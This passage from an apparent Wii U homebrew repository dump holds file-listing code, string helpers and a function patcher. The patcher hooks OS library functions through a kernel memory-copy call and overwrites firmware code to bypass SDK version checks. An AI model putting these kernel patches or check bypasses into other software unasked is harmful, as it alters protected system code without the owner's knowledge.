delimiter);\n\t\t}\n\t\tfree(file);\n\t\treturn true;\n\t}else{\n\t\treturn false;\n\t}\n}\n\nint FileReplacer::read_dir(const std::string & path , Directory* dir, int * entries, ProgressWindow & progressWindow){\n\tstd::vector<std::string *> dirlist;\n\n    struct dirent *dirent = NULL;\n\tDIR *dir_ = NULL;\n\n\tdir_ = opendir(path.c_str());\n\tif (dir_ == NULL)\n\t\treturn -1;\n\twhile ((dirent = readdir(dir_)) != 0)\n\t{\n        (*entries)++;\n\t\tbool isDir = dirent->d_type & DT_DIR;\n\t\tconst char *filename = dirent->d_name;\n        if(*entries %25 == 0){\n            progressWindow.setTitle(strfmt(\"Creating filelist.txt: %d entries found\", *entries));\n        }\n        if(isDir){\n\n            dirlist.push_back(new std::string(filename));\n        }else{\n            dir->addFile(filename);\n        }\n    }\n    closedir(dir_);\n\n    for(unsigned int i = 0; i < dirlist.size(); i++){\n        Directory * dir_new = new Directory(*dirlist[i]);\n        dir->addFolder(dir_new);\n        read_dir((path + \"/\"+ *dirlist[i]),dir_new,entries,progressWindow);\n    }\n\n    for(unsigned int i = 0; i < dirlist.size(); i++){\n        delete dirlist[i];\n    }\n\n\treturn 0;\n}\n\nint FileReplacer::isFileExisting(std::string param){\n\tif(dir_all != 0){\n\t\tif(dir_all->isInFolder(param)){\n\t\t\treturn 0;\n\t\t}\n\t}\n\treturn -1;\n}\n"
  },
  {
    "path": "src/utils/FileReplacer.h",
    "content": "#include <string>\n#include \"Directory.h\"\n#include \"menu/ProgressWindow.h\"\n#include <sys/dirent.h>\nextern \"C\" {\n  #include \"fs/sd_fat_devoptab.h\"\n  #include \"patcher/fs_logger.h\"\n  #include \"dynamic_libs/fs_functions.h\"\n}\n\nclass FileReplacer\n{\n   public:\n\t  FileReplacer(std::string path,std::string content,std::string filename,void * pClient,void * pCmd);\n      FileReplacer(std::string filepath,std::string content,std::string filename, ProgressWindow & progressWindow);\n\t  ~FileReplacer();\n\t  bool readFromFile(void *pClient, void *pCmd, const std::string & path , Directory* dir);\n\t  int read_dir(const std::string  & path, Directory * dir,int * entries,ProgressWindow & progressWindow);\n\t  int isFileExisting(std::string param);\n\t  int getSize();\n\t  std::string getFileListAsString();\n\tprivate:\n\t  Directory * dir_all;\n};\n"
  },
  {
    "path": "src/utils/StringTools.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <vector>\n#include <string>\n#include <string.h>\n#include <stdarg.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <wchar.h>\n#include <gctypes.h>\n\nconst char * fmt(const char * format, ...)\n{\n\tstatic char strChar[512];\n\tstrChar[0] = 0;\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n\t\tsnprintf(strChar, sizeof(strChar), tmp);\n\t\tfree(tmp);\n\t\tva_end(va);\n\t\treturn (const char *) strChar;\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n\n\treturn NULL;\n}\n\nconst wchar_t * wfmt(const char * format, ...)\n{\n\tstatic wchar_t strWChar[512];\n\tstrWChar[0] = 0;\n\n\tif(!format)\n\t\treturn (const wchar_t *) strWChar;\n\n\tif(strcmp(format, \"\") == 0)\n\t\treturn (const wchar_t *) strWChar;\n\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n\t\tint\tbt;\n\t\tint strlength = strlen(tmp);\n\t\tbt = mbstowcs(strWChar, tmp, (strlength < 512) ? strlength : 512 );\n\t\tfree(tmp);\n\t\ttmp = 0;\n\n\t\tif(bt > 0)\n\t\t{\n\t\t\tstrWChar[bt] = 0;\n\t\t\treturn (const wchar_t *) strWChar;\n\t\t}\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n\n\treturn NULL;\n}\n\nint strprintf(std::string &str, const char * format, ...)\n{\n\tint result = 0;\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n\t\tstr = tmp;\n\t\tresult = str.size();\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n\n\treturn result;\n}\n\nstd::string strfmt(const char * format, ...)\n{\n\tstd::string str;\n\tchar * tmp = NULL;\n\n\tva_list va;\n\tva_start(va, format);\n\tif((vasprintf(&tmp, format, va) >= 0) && tmp)\n\t{\n\t\tstr = tmp;\n\t}\n\tva_end(va);\n\n\tif(tmp)\n\t\tfree(tmp);\n\n\treturn str;\n}\n\nbool char2wchar_t(const char * strChar, wchar_t * dest)\n{\n\tif(!strChar || !dest)\n\t\treturn false;\n\n\tint\tbt;\n\tbt = mbstowcs(dest, strChar, strlen(strChar));\n\tif (bt > 0) {\n\t\tdest[bt] = 0;\n\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nint strtokcmp(const char * string, const char * compare, const char * separator)\n{\n\tif(!string || !compare)\n\t\treturn -1;\n\n\tchar TokCopy[512];\n\tstrncpy(TokCopy, compare, sizeof(TokCopy));\n\tTokCopy[511] = '\\0';\n\n\tchar * strTok = strtok(TokCopy, separator);\n\n\twhile (strTok != NULL)\n\t{\n\t\tif (strcasecmp(string, strTok) == 0)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t\tstrTok = strtok(NULL,separator);\n\t}\n\n\treturn -1;\n}\n\nint strextcmp(const char * string, const char * extension, char seperator)\n{\n\tif(!string || !extension)\n\t\treturn -1;\n\n\tchar *ptr = strrchr(string, seperator);\n\tif(!ptr)\n\t\treturn -1;\n\n\treturn strcasecmp(ptr + 1, extension);\n}\n\n\nstd::vector<std::string> stringSplit(const std::string & inValue, const std::string & splitter)\n{\n    std::string value = inValue;\n    std::vector<std::string> result;\n    while (true) {\n        unsigned int index = value.find(splitter);\n        if (index == std::string::npos) {\n            result.push_back(value);\n            break;\n        }\n        std::string first = value.substr(0, index);\n        result.push_back(first);\n        if (index + splitter.size() == value.length()) {\n            result.push_back(\"\");\n            break;\n        }\n        if(index + splitter.size() > value.length()) {\n            break;\n        }\n        value = value.substr(index + splitter.size(), value.length());\n    }\n    return result;\n}\n"
  },
  {
    "path": "src/utils/StringTools.h",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#ifndef __STRING_TOOLS_H\n#define __STRING_TOOLS_H\n\n#include <gctypes.h>\n#include <vector>\n#include <string>\n\nconst char * fmt(const char * format, ...);\nconst wchar_t * wfmt(const char * format, ...);\nint strprintf(std::string &str, const char * format, ...);\nstd::string strfmt(const char * format, ...);\nbool char2wchar_t(const char * src, wchar_t * dest);\nint strtokcmp(const char * string, const char * compare, const char * separator);\nint strextcmp(const char * string, const char * extension, char seperator);\n\ninline const char * FullpathToFilename(const char *path)\n{\n\tif(!path) return path;\n\n\tconst char * ptr = path;\n\tconst char * Filename = ptr;\n\n\twhile(*ptr != '\\0')\n\t{\n\t\tif(ptr[0] == '/' && ptr[1] != '\\0')\n\t\t\tFilename = ptr+1;\n\n\t\t++ptr;\n\t}\n\n\treturn Filename;\n}\n\ninline void RemoveDoubleSlashs(std::string &str)\n{\n\tu32 length = str.size();\n\n\t//! clear path of double slashes\n\tfor(u32 i = 1; i < length; ++i)\n\t{\n\t\tif(str[i-1] == '/' && str[i] == '/')\n\t\t{\n\t\t\tstr.erase(i, 1);\n\t\t\ti--;\n\t\t\tlength--;\n\t\t}\n\t}\n}\n\nstd::vector<std::string> stringSplit(const std::string & value, const std::string & splitter);\n\n#endif /* __STRING_TOOLS_H */\n\n"
  },
  {
    "path": "src/utils/function_patcher.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n * With code from chadderz and dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n\n#include <vector>\n#include <algorithm>\n#include <stdio.h>\n#include <malloc.h>\n#include <string.h>\n#include <gctypes.h>\n#include \"function_patcher.h\"\n#include \"common/retain_vars.h\"\n#include \"utils/logger.h\"\n#include \"common/kernel_defs.h\"\n#include \"kernel/kernel_functions.h\"\n\n#define LIB_CODE_RW_BASE_OFFSET                         0xC1000000\n#define CODE_RW_BASE_OFFSET                             0x00000000\n#define DEBUG_LOG_DYN                                   0\n\n\n/*\n* Patches a function that is loaded at the start of each application. Its not required to restore, at least when they are really dynamic.\n* \"normal\" functions should be patch with the normal patcher. Current Code by Maschell with the help of dimok. Orignal code by Chadderz.\n*/\nvoid PatchInvidualMethodHooks(hooks_magic_t method_hooks[],s32 hook_information_size, volatile u32 dynamic_method_calls[])\n{\n    DEBUG_FUNCTION_LINE(\"Patching %d given functions\\n\",hook_information_size);\n    /* Patch branches to it.  */\n    volatile u32 *space = &dynamic_method_calls[0];\n\n    s32 method_hooks_count = hook_information_size;\n\n    u32 skip_instr = 1;\n    u32 my_instr_len = 6;\n    u32 instr_len = my_instr_len + skip_instr;\n    u32 flush_len = 4*instr_len;\n    for(s32 i = 0; i < method_hooks_count; i++)\n    {\n        DEBUG_FUNCTION_LINE(\"Patching %s ...\",method_hooks[i].functionName);\n        if(method_hooks[i].functionType == STATIC_FUNCTION && method_hooks[i].alreadyPatched == 1){\n            if(isDynamicFunction((u32)OSEffectiveToPhysical((void*)method_hooks[i].realAddr))){\n                log_printf(\"The function %s is a dynamic function. Please fix that <3\\n\", method_hooks[i].functionName);\n                method_hooks[i].functionType = DYNAMIC_FUNCTION;\n            }else{\n                log_printf(\"Skipping %s, its already patched\\n\", method_hooks[i].functionName);\n                space += instr_len;\n                continue;\n            }\n        }\n\n        u32 physical = 0;\n        u32 repl_addr = (u32)method_hooks[i].replaceAddr;\n        u32 call_addr = (u32)method_hooks[i].replaceCall;\n\n        u32 real_addr = GetAddressOfFunction(method_hooks[i].functionName,method_hooks[i].library);\n\n        if(!real_addr){\n            log_printf(\"\\n\");\n            DEBUG_FUNCTION_LINE(\"OSDynLoad_FindExport failed for %s\\n\", method_hooks[i].functionName);\n            space += instr_len;\n            continue;\n        }\n\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"%s is located at %08X!\\n\", method_hooks[i].functionName,real_addr);}\n\n        physical = (u32)OSEffectiveToPhysical((void*)real_addr);\n        if(!physical){\n             log_printf(\"Error. Something is wrong with the physical address\\n\");\n             space += instr_len;\n             continue;\n        }\n\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"%s physical is located at %08X!\\n\", method_hooks[i].functionName,physical);}\n\n        *(volatile u32 *)(call_addr) = (u32)(space) - CODE_RW_BASE_OFFSET;\n\n\n        SC0x25_KernelCopyData((u32)space, physical, 4);\n        space++;\n\n        //Only works if skip_instr == 1\n        if(skip_instr == 1){\n            // fill the restore instruction section\n            method_hooks[i].realAddr = real_addr;\n            method_hooks[i].restoreInstruction = *(space-1);\n             if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"method_hooks[i].realAddr = %08X!\\n\", method_hooks[i].realAddr);}\n             if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"method_hooks[i].restoreInstruction = %08X!\\n\",method_hooks[i].restoreInstruction) ;}\n        }\n        else{\n            log_printf(\"Error. Can't save %s for restoring!\\n\", method_hooks[i].functionName);\n        }\n\n        //adding jump to real function thx @ dimok for the assembler code\n        /*\n            90 61 ff e0     stw     r3,-32(r1)\n            3c 60 12 34     lis     r3,4660\n            60 63 56 78     ori     r3,r3,22136\n            7c 69 03 a6     mtctr   r3\n            80 61 ff e0     lwz     r3,-32(r1)\n            4e 80 04 20     bctr*/\n        *space = 0x9061FFE0;\n        space++;\n        *space = 0x3C600000 | (((real_addr + (skip_instr * 4)) >> 16) & 0x0000FFFF); // lis r3, real_addr@h\n        space++;\n        *space = 0x60630000 |  ((real_addr + (skip_instr * 4)) & 0x0000ffff); // ori r3, r3, real_addr@l\n        space++;\n        *space = 0x7C6903A6; // mtctr   r3\n        space++;\n        *space = 0x8061FFE0; // lwz     r3,-32(r1)\n        space++;\n        *space = 0x4E800420; // bctr\n        space++;\n        DCFlushRange((void*)(space - instr_len), flush_len);\n        ICInvalidateRange((unsigned char*)(space - instr_len), flush_len);\n\n        //setting jump back\n        u32 replace_instr = 0x48000002 | (repl_addr & 0x03fffffc);\n        DCFlushRange(&replace_instr, 4);\n\n        SC0x25_KernelCopyData(physical, (u32)OSEffectiveToPhysical(&replace_instr), 4);\n        ICInvalidateRange((void*)(real_addr), 4);\n\n        method_hooks[i].alreadyPatched = 1;\n        log_printf(\"done!\\n\");\n\n    }\n    DEBUG_FUNCTION_LINE(\"Done with patching given functions!\\n\");\n}\n\n/* ****************************************************************** */\n/*                  RESTORE ORIGINAL INSTRUCTIONS                     */\n/* ****************************************************************** */\nvoid RestoreInvidualInstructions(hooks_magic_t method_hooks[],s32 hook_information_size)\n{\n    DEBUG_FUNCTION_LINE(\"Restoring given functions!\\n\");\n    s32 method_hooks_count = hook_information_size;\n    for(s32 i = 0; i < method_hooks_count; i++)\n    {\n        DEBUG_FUNCTION_LINE(\"Restoring %s... \",method_hooks[i].functionName);\n        if(method_hooks[i].restoreInstruction == 0 || method_hooks[i].realAddr == 0){\n            log_printf(\"I dont have the information for the restore =( skip\\n\");\n            continue;\n        }\n\n        u32 real_addr = GetAddressOfFunction(method_hooks[i].functionName,method_hooks[i].library);\n\n        if(!real_addr){\n            log_printf(\"OSDynLoad_FindExport failed for %s\\n\", method_hooks[i].functionName);\n            continue;\n        }\n\n        u32 physical = (u32)OSEffectiveToPhysical((void*)real_addr);\n        if(!physical){\n            log_printf(\"Something is wrong with the physical address\\n\");\n            continue;\n        }\n\n        if(isDynamicFunction(physical))\n        {\n             log_printf(\"Its a dynamic function. We don't need to restore it!\\n\",method_hooks[i].functionName);\n        }\n        else\n        {\n            physical = (u32)OSEffectiveToPhysical((void*)method_hooks[i].realAddr); //When its an static function, we need to use the old location\n            if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"Restoring %08X to %08X\\n\",(u32)method_hooks[i].restoreInstruction,physical);}\n            SC0x25_KernelCopyData(physical,(u32)&method_hooks[i].restoreInstruction , 4);\n            if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"ICInvalidateRange %08X\\n\",(void*)method_hooks[i].realAddr);}\n            ICInvalidateRange((void*)method_hooks[i].realAddr, 4);\n            log_printf(\"done\\n\");\n        }\n        method_hooks[i].alreadyPatched = 0; // In case a\n    }\n\n    DEBUG_FUNCTION_LINE(\"Done with restoring given functions!\\n\");\n}\n\ns32 isDynamicFunction(u32 physicalAddress){\n    if((physicalAddress & 0x80000000) == 0x80000000){\n        return 1;\n    }\n    return 0;\n}\n\nu32 GetAddressOfFunction(const char * functionName,u32 library){\n    u32 real_addr = 0;\n\n    if(strcmp(functionName, \"OSDynLoad_Acquire\") == 0)\n    {\n        memcpy(&real_addr, &OSDynLoad_Acquire, 4);\n        return real_addr;\n    }\n    else if(strcmp(functionName, \"LiWaitOneChunk\") == 0)\n    {\n        real_addr = (u32)addr_LiWaitOneChunk;\n        return real_addr;\n    }\n    else if(strcmp(functionName, \"LiBounceOneChunk\") == 0)\n    {\n        //! not required on firmwares above 3.1.0\n        if(OS_FIRMWARE >= 400)\n            return 0;\n\n        u32 addr_LiBounceOneChunk = 0x010003A0;\n        real_addr = (u32)addr_LiBounceOneChunk;\n        return real_addr;\n    }\n\n    u32 rpl_handle = 0;\n    if(library == LIB_CORE_INIT){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_CORE_INIT\\n\", functionName);}\n        if(coreinit_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_CORE_INIT not acquired\\n\"); return 0;}\n        rpl_handle = coreinit_handle;\n    }\n    else if(library == LIB_NSYSNET){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_NSYSNET\\n\", functionName);}\n        if(nsysnet_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_NSYSNET not acquired\\n\"); return 0;}\n        rpl_handle = nsysnet_handle;\n    }\n    else if(library == LIB_GX2){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_GX2\\n\", functionName);}\n        if(gx2_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_GX2 not acquired\\n\"); return 0;}\n        rpl_handle = gx2_handle;\n    }\n    else if(library == LIB_AOC){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_AOC\\n\", functionName);}\n        if(aoc_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_AOC not acquired\\n\"); return 0;}\n        rpl_handle = aoc_handle;\n    }\n    else if(library == LIB_AX){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_AX\\n\", functionName);}\n        if(sound_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_AX not acquired\\n\"); return 0;}\n        rpl_handle = sound_handle;\n    }\n    else if(library == LIB_AX_OLD){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_AX_OLD\\n\", functionName);}\n        if(sound_handle_old == 0){DEBUG_FUNCTION_LINE(\"LIB_AX_OLD not acquired\\n\"); return 0;}\n        rpl_handle = sound_handle_old;\n    }\n    else if(library == LIB_FS){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_FS\\n\", functionName);}\n        if(coreinit_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_FS not acquired\\n\"); return 0;}\n        rpl_handle = coreinit_handle;\n    }\n    else if(library == LIB_OS){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_OS\\n\", functionName);}\n        if(coreinit_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_OS not acquired\\n\"); return 0;}\n        rpl_handle = coreinit_handle;\n    }\n    else if(library == LIB_PADSCORE){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_PADSCORE\\n\", functionName);}\n        if(padscore_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_PADSCORE not acquired\\n\"); return 0;}\n        rpl_handle = padscore_handle;\n    }\n    else if(library == LIB_SOCKET){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_SOCKET\\n\", functionName);}\n        if(nsysnet_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_SOCKET not acquired\\n\"); return 0;}\n        rpl_handle = nsysnet_handle;\n    }\n    else if(library == LIB_SYS){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_SYS\\n\", functionName);}\n        if(sysapp_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_SYS not acquired\\n\"); return 0;}\n        rpl_handle = sysapp_handle;\n    }\n    else if(library == LIB_VPAD){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_VPAD\\n\", functionName);}\n        if(vpad_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_VPAD not acquired\\n\"); return 0;}\n        rpl_handle = vpad_handle;\n    }\n    else if(library == LIB_NN_ACP){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_NN_ACP\\n\", functionName);}\n        if(acp_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_NN_ACP not acquired\\n\"); return 0;}\n        rpl_handle = acp_handle;\n    }\n    else if(library == LIB_SYSHID){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_SYSHID\\n\", functionName);}\n        if(syshid_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_SYSHID not acquired\\n\"); return 0;}\n        rpl_handle = syshid_handle;\n    }\n    else if(library == LIB_VPADBASE){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_VPADBASE\\n\", functionName);}\n        if(vpadbase_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_VPADBASE not acquired\\n\"); return 0;}\n        rpl_handle = vpadbase_handle;\n    }\n    else if(library == LIB_PROC_UI){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_PROC_UI\\n\", functionName);}\n        if(proc_ui_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_PROC_UI not acquired\\n\"); return 0;}\n        rpl_handle = proc_ui_handle;\n    }\n    else if(library == LIB_NTAG){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_NTAG\\n\", functionName);}\n        if(ntag_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_NTAG not acquired\\n\"); return 0;}\n        rpl_handle = proc_ui_handle;\n    }\n    else if(library == LIB_NFP){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_NFP\\n\", functionName);}\n        if(nfp_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_NFP not acquired\\n\"); return 0;}\n        rpl_handle = nfp_handle;\n    }\n    else if(library == LIB_SAVE){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_SAVE\\n\", functionName);}\n        if(nn_save_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_SAVE not acquired\\n\"); return 0;}\n        rpl_handle = nn_save_handle;\n    }\n    else if(library == LIB_ACT){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_ACT\\n\", functionName);}\n        if(nn_act_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_ACT not acquired\\n\"); return 0;}\n        rpl_handle = nn_act_handle;\n    }\n    else if(library == LIB_NIM){\n        if(DEBUG_LOG_DYN){DEBUG_FUNCTION_LINE(\"FindExport of %s! From LIB_NIM\\n\", functionName);}\n        if(nn_nim_handle == 0){DEBUG_FUNCTION_LINE(\"LIB_NIM not acquired\\n\"); return 0;}\n        rpl_handle = nn_nim_handle;\n    }\n\n    if(!rpl_handle){\n        DEBUG_FUNCTION_LINE(\"Failed to find the RPL handle for %s\\n\", functionName);\n        return 0;\n    }\n\n    OSDynLoad_FindExport(rpl_handle, 0, functionName, &real_addr);\n\n    if(!real_addr){\n        DEBUG_FUNCTION_LINE(\"OSDynLoad_FindExport failed for %s\\n\", functionName);\n        return 0;\n    }\n\n    if((library == LIB_NN_ACP) && (u32)(*(volatile u32*)(real_addr) & 0x48000002) == 0x48000000)\n    {\n        u32 address_diff = (u32)(*(volatile u32*)(real_addr) & 0x03FFFFFC);\n        if((address_diff & 0x03000000) == 0x03000000) {\n            address_diff |=  0xFC000000;\n        }\n        real_addr += (s32)address_diff;\n        if((u32)(*(volatile u32*)(real_addr) & 0x48000002) == 0x48000000){\n            return 0;\n        }\n    }\n\n    return real_addr;\n}\n\nvoid PatchSDK(void)\n{\n    if(gPatchSDKDone)\n        return;\n\n    gPatchSDKDone = 1;\n\n    log_printf(\"Patching SDK\\n\");\n\n    // this only needs\n    gLoaderPhysicalBufferAddr = (u32)OSEffectiveToPhysical((void*)0xF6000000);\n    if(gLoaderPhysicalBufferAddr == 0)\n        gLoaderPhysicalBufferAddr = 0x1B000000; // this is just in case and probably never needed\n\n    u32 sdkLeAddr = 0;\n    u32 sdkGtAddr = 0;\n\n    u32 sdkLePatch = 0;\n    u32 sdkGtPatch = 0;\n\n    /* Patch to bypass SDK version tests */\n    if((OS_FIRMWARE == 532) || (OS_FIRMWARE == 540))\n    {\n        /* Patch to bypass SDK version tests */\n        sdkLeAddr = 0x010095b4;\n        sdkLePatch = 0x480000a0; // ble loc_1009654    (0x408100a0) => b loc_1009654      (0x480000a0)\n\n        sdkGtAddr = 0x01009658;\n        sdkGtPatch = 0x480000e8; // bge loc_1009740    (0x408100a0) => b loc_1009740      (0x480000e8)\n    }\n    else if((OS_FIRMWARE == 500) || (OS_FIRMWARE == 510))\n    {\n        /* Patch to bypass SDK version tests */\n        sdkLeAddr = 0x010091CC;\n        sdkLePatch = 0x480000a0; // ble loc_1009654    (0x408100a0) => b loc_1009654      (0x480000a0)\n\n        sdkGtAddr = 0x01009270;\n        sdkGtPatch = 0x480000e8; // bge loc_1009740    (0x408100a0) => b loc_1009740      (0x480000e8)\n    }\n    else if ((OS_FIRMWARE == 400) || (OS_FIRMWARE == 410))\n    {\n        /* Patch to bypass SDK version tests */\n        sdkLeAddr = 0x01008DAC;\n        sdkLePatch = 0x480000a0; // ble loc_1009654    (0x408100a0) => b loc_1009654      (0x480000a0)\n\n        sdkGtAddr = 0x01008E50;\n        sdkGtPatch = 0x480000e8; // bge loc_1009740    (0x408100a0) => b loc_1009740      (0x480000e8)\n    }\n    else if (OS_FIRMWARE < 400)\n    {\n        /* Patch to bypass SDK version tests */\n        sdkLeAddr = 0x010067A8;\n        sdkLePatch = 0x48000088;\n\n        sdkGtAddr = 0x01006834;\n        sdkGtPatch = 0x480000b8;\n    }\n\telse if (OS_FIRMWARE == 550)\n    {\n        /* Patch to bypass SDK version tests */\n        sdkLeAddr = 0x010097AC;\n        sdkLePatch = 0x480000a0; // ble loc_1009654    (0x408100a0) => b loc_1009654      (0x480000a0)\n\n        sdkGtAddr = 0x01009850;\n        sdkGtPatch = 0x480000e8; // bge loc_1009740    (0x408100a0) => b loc_1009740      (0x480000e8)\n    }\n\n    u32 sdkLePhysAddr = (u32)OSEffectiveToPhysical((void*)sdkLeAddr);\n    u32 sdkGtPhysAddr = (u32)OSEffectiveToPhysical((void*)sdkGtAddr);\n\n    if(sdkLePhysAddr != 0 && sdkGtPhysAddr != 0)\n    {\n        DCFlushRange(&sdkLePatch, sizeof(sdkLePatch));\n        DCFlushRange(&sdkGtPatch, sizeof(sdkGtPatch));\n\n        SC0x25_KernelCopyData(sdkLePhysAddr, (u32)OSEffectiveToPhysical(&sdkLePatch), 4);\n        SC0x25_KernelCopyData(sdkGtPhysAddr, (u32)OSEffectiveToPhysical(&sdkGtPatch), 4);\n\n        ICInvalidateRange((void*)(sdkLeAddr), 4);\n        ICInvalidateRange((void*)(sdkGtPhysAddr), 4);\n    }\n}\n"
  },
  {
    "path": "src/utils/function_patcher.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n * With code from chadderz and dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n\n#ifndef _FUNCTION_HOOKS_H_\n#define _FUNCTION_HOOKS_H_\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/aoc_functions.h\"\n#include \"dynamic_libs/ax_functions.h\"\n#include \"dynamic_libs/fs_functions.h\"\n#include \"dynamic_libs/gx2_functions.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/padscore_functions.h\"\n#include \"dynamic_libs/socket_functions.h\"\n#include \"dynamic_libs/sys_functions.h\"\n#include \"dynamic_libs/vpad_functions.h\"\n#include \"dynamic_libs/acp_functions.h\"\n#include \"dynamic_libs/syshid_functions.h\"\n#include \"dynamic_libs/proc_ui_functions.h\"\n#include \"dynamic_libs/ntag_functions.h\"\n#include \"dynamic_libs/nfp_functions.h\"\n#include \"dynamic_libs/nn_save_functions.h\"\n#include \"dynamic_libs/nn_act_functions.h\"\n#include \"dynamic_libs/nn_nim_functions.h\"\n\n//Orignal code by Chadderz.\n#define DECL(res, name, ...) \\\n        res (* real_ ## name)(__VA_ARGS__) 